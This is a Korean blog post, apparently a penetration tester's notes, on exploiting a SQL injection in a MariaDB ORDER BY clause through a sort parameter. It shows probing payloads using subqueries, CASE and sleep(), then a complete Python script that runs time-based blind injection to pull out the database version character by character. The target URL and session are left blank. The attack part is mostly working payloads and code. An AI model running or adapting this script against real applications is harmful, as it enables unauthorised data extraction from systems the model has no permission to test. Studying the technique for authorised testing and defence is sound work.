order by 절에서 SQL Injection 취약점을 발견하였는데, 나도 별로 겪어보지 못한 자리여서 대충 기록으로 남긴다.
파라미터 구성이 sortOrderSort=asc 인 것으로 미루어 보아, 해당 쿼리의 구성은 아래와 같다고 가정하여도 무방할 것이다.
select * from members order by idx asc
Step. 2
구글에 [mariaDB order by syntax] 라고 검색하면 아래와 같은 공식 매뉴얼 사이트가 나온다.
https://mariadb.com/kb/en/order-by/#see-also
ORDER BY
Order the results returned from a resultset.
mariadb.com
정수 형태, 쉼표(,)를 사용해서 컬럼 개수만큼 쭉쭉 정렬할 수 있다는 내용이다.
대충 알고 있었던 내용도 기회가 될 때마다, 이렇게 세세히 찾는 버릇을 들이고 있다. 개념이 이미지가 명확해진다.
앞서 파악한 문법을 바탕으로 테스트 환경에서 무작위로 테스트 해본다.
select * from members order by idx asc,idx,id,password,jumin
select * from members order by idx asc,1,2,3,4
select * from members order by idx asc,1
SQL Injection 취약점은 서브쿼리와의 전쟁이다. 어느 구간에서건 서브쿼리를 삽입해보아야한다.
select * from members order by idx asc,(select 1)
select * from members order by idx asc,(version())
select * from members order by idx asc,(case when 1=2 then 1 else 8 end);
컬럼의 개수는 4개이기 때문에 참일 때 1, 거짓일 때 8이 들어가면 에러가 출력될 것이라 생각했는데, 결과 값이 정상적으로 출력된다.
8 대신 'a' 같은 문자열을 넣어도 정상적으로 값이 출력되며 해당 쿼리를 요청하였을 때, 500 에러가 출력되었다.
select 문으로 방향을 돌린다.
select * from members order by idx asc,(select 1=1);
select * from members order by idx asc,(select sleep(3));
sleep() 함수가 정상적으로 실행되는 것을 확인하였다.
select * from members order by idx asc,(select sleep(3) from dual where 1=1);
mysql(mariadb)과 oracle은 dual 이라는 더미테이블을 제공하는데 mariadb(mysql)은 생략이 가능하다.
하지만 우리는 where절을 이용하여 조건구문을 만들어야하기 때문에, 해당 테이블을 이용하여 조건구문을 구성한다.
해당 구문을 이용하여 쿼리를 만들어 서버에 요청하였더니 정상적으로 쿼리가 동작하였다.
시간이 부족해서 날코딩으로 대충 버전만 뽑을 수 있게 만들었다.
sqlmap이 굉장히 좋은 툴이긴 하지만 안먹히는 경우가 굉장히 많다.
또한 이번처럼 <,> 같은 부호 연산자가 먹히지 않는 등, 여러 환경에 대처하기 위해서는 유동적으로 대응할 수 있는 개발 능력을 기를 필요가 있다.
날코딩이여도 퀄리티가 있었으면 좋겠다.
import requests
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxy = {
'http' : 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'
}
url = '~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~'
header = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
}
param = {
# 파라미터
}
cookie = {
# 세션
}
def connect():
start = time.time()
s = requests.get(url=url, cookies=cookie, headers=header, params=param, proxies=proxy, verify=False)
end = time.time()
if end-start > 3:
return False
else:
return True
def length():
len = 0
for i in range(1, 999999):
param['sortOrderSort'] = 'asc,(select sleep(5) from dual where (select length(version()))=%s)' % format(i)
bbool = connect()
if bbool == False:
print(i)
len = i
break
return len
def go():
result = []
aa = ''
len = length()
for ii in range(1, len+1):
for jj in range(32, 126):
param['sortOrderSort'] = 'asc,(select sleep(5) from dual where ascii(substring(version(),'+str(ii)+',1))='+str(jj)+')'
bbbool = connect()
if bbbool == False:
aa += chr(jj)
print(aa)
break
result.append(aa)
print(result)
return result
go()
'WEB' 카테고리의 다른 글
[Python] 웹 크롤링+텔레그램 메시지 전송(Feat. Iphone 6s 공장초기화) (0) | 2022.10.25 |
---|---|
[Python] 요청 시 URL Encoding 제어(requests, urllib) (0) | 2022.10.13 |
WEB 프록시 편리하게 잡자(Feat.배치스크립트 + 단축키) (0) | 2022.10.11 |